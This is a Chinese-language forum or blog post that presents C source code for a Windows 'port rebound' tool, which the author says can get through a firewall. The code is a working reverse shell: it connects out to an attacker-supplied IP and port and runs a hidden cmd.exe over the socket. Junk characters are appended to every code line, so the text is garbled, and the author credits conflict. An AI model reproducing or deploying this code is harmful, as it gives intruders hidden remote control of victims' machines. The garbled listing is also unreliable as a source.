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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =(.HO:#  
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/* ============================== OC"W=[Myl  
Rebound port in Windows NT J"I{0>@  
By wind,2006/7 ^om(6JL2  
===============================*/ !63x^# kg  
#include ;Fp"]z!Qh+  
#include '.d el7s  
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#pragma comment(lib,"wsock32.lib") >qAQNX  
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void OutputShell(); :;)K>g,b  
SOCKET sClient; UT]LF#.(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #Z (B4YO  
M2vYOg`t:c  
void main(int argc,char **argv) sh E>gTe  
{ "aAzG+NM  
WSADATA stWsaData; CbI[K|  
int nRet; z1(rHJd  
SOCKADDR_IN stSaiClient,stSaiServer; vY }/CBmg  
uK3,V0 yz  
if(argc != 3) =#n|t[h-  
{ 5w iU4-{  
printf("Useage:\n\rRebound DestIP DestPort\n"); VT;$:>! +  
return; NfDg=[FN[  
} p>65(&N,  
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WSAStartup(MAKEWORD(2,2),&stWsaData); RzFv``g  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DoNbCVZ  
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stSaiClient.sin_family = AF_INET; mqw& SxU9  
stSaiClient.sin_port = htons(0); h-Ffs  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VmV/~-<Z  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D{ @x  
{ F.^1|+96  
printf("Bind Socket Failed!\n"); GC#3{71  
return; b!ot%uZZ  
} 5?%(j!p5  
iI&J_Y{1a_  
stSaiServer.sin_family = AF_INET; j`='SzVloW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WPCaxA+l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ZU7,=B=  
/&cb`^"U^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O .m; a_  
{ <gQw4  
printf("Connect Error!"); 9m%[ y1v0  
return; b2r@vZ]D  
} &37QUdp+p  
OutputShell(); }_:^&cT  
} IGOqV>;  
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void OutputShell() Rco#?'  
{ W?5^cEF  
char szBuff[1024]; qZG "{8  
SECURITY_ATTRIBUTES stSecurityAttributes; yG2j!D  
OSVERSIONINFO stOsversionInfo; Nt'(JAZ;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G8Ns?  
STARTUPINFO stStartupInfo; y]+i. 8[  
char *szShell; \C~Y  
PROCESS_INFORMATION stProcessInformation; kd9hz-*  
unsigned long lBytesRead; d7N}-nsB  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]k " j  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~X*)gS-=  
stSecurityAttributes.lpSecurityDescriptor = 0; '8}*erAg  
stSecurityAttributes.bInheritHandle = TRUE; ja#E}`wC4  
: H0+}=  
3?.3Z!H/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E+]gC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `N]!-=o  
u-f_,],p  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^CDQ75tR  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !#5RP5,,Y  
stStartupInfo.wShowWindow = SW_HIDE; ~OAST  
stStartupInfo.hStdInput = hReadPipe; Qf6Vj,~N  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gle_~es'K  
aS-rRL|\L  
GetVersionEx(&stOsversionInfo); A8dIL5  
R'uM7,7  
switch(stOsversionInfo.dwPlatformId) [wj&.I{^s  
{ {%)bxk6  
case 1: Y2"X;`<  
szShell = "command.com"; LIT{rR#8  
break; wtu WzHrF  
default: :1PT`:Y  
szShell = "cmd.exe"; 1I<D `H%  
break; D[-V1K&g  
} 7D@O:yO  
>Ke4lO"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F)z]QJOw  
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send(sClient,szMsg,77,0); `p|{(g'  
while(1) 5<0&y3  
{ <=W;z=$!Bb  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T&H[JQ/h  
if(lBytesRead) WSz#g2a  
{ W`*S?QGzl@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,JYvfCA  
send(sClient,szBuff,lBytesRead,0); 4@&8jZ)a  
} 'j 'bhG  
else  {F+7> X  
{ {r?O>KDQf(  
lBytesRead=recv(sClient,szBuff,1024,0); jSsbLa@  
if(lBytesRead<=0) break; :,h47'0A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); C4 H M  
} y)0r%=  
} vUk <z*  
+[<|TT  
return; iSCv/Gb:,  
}
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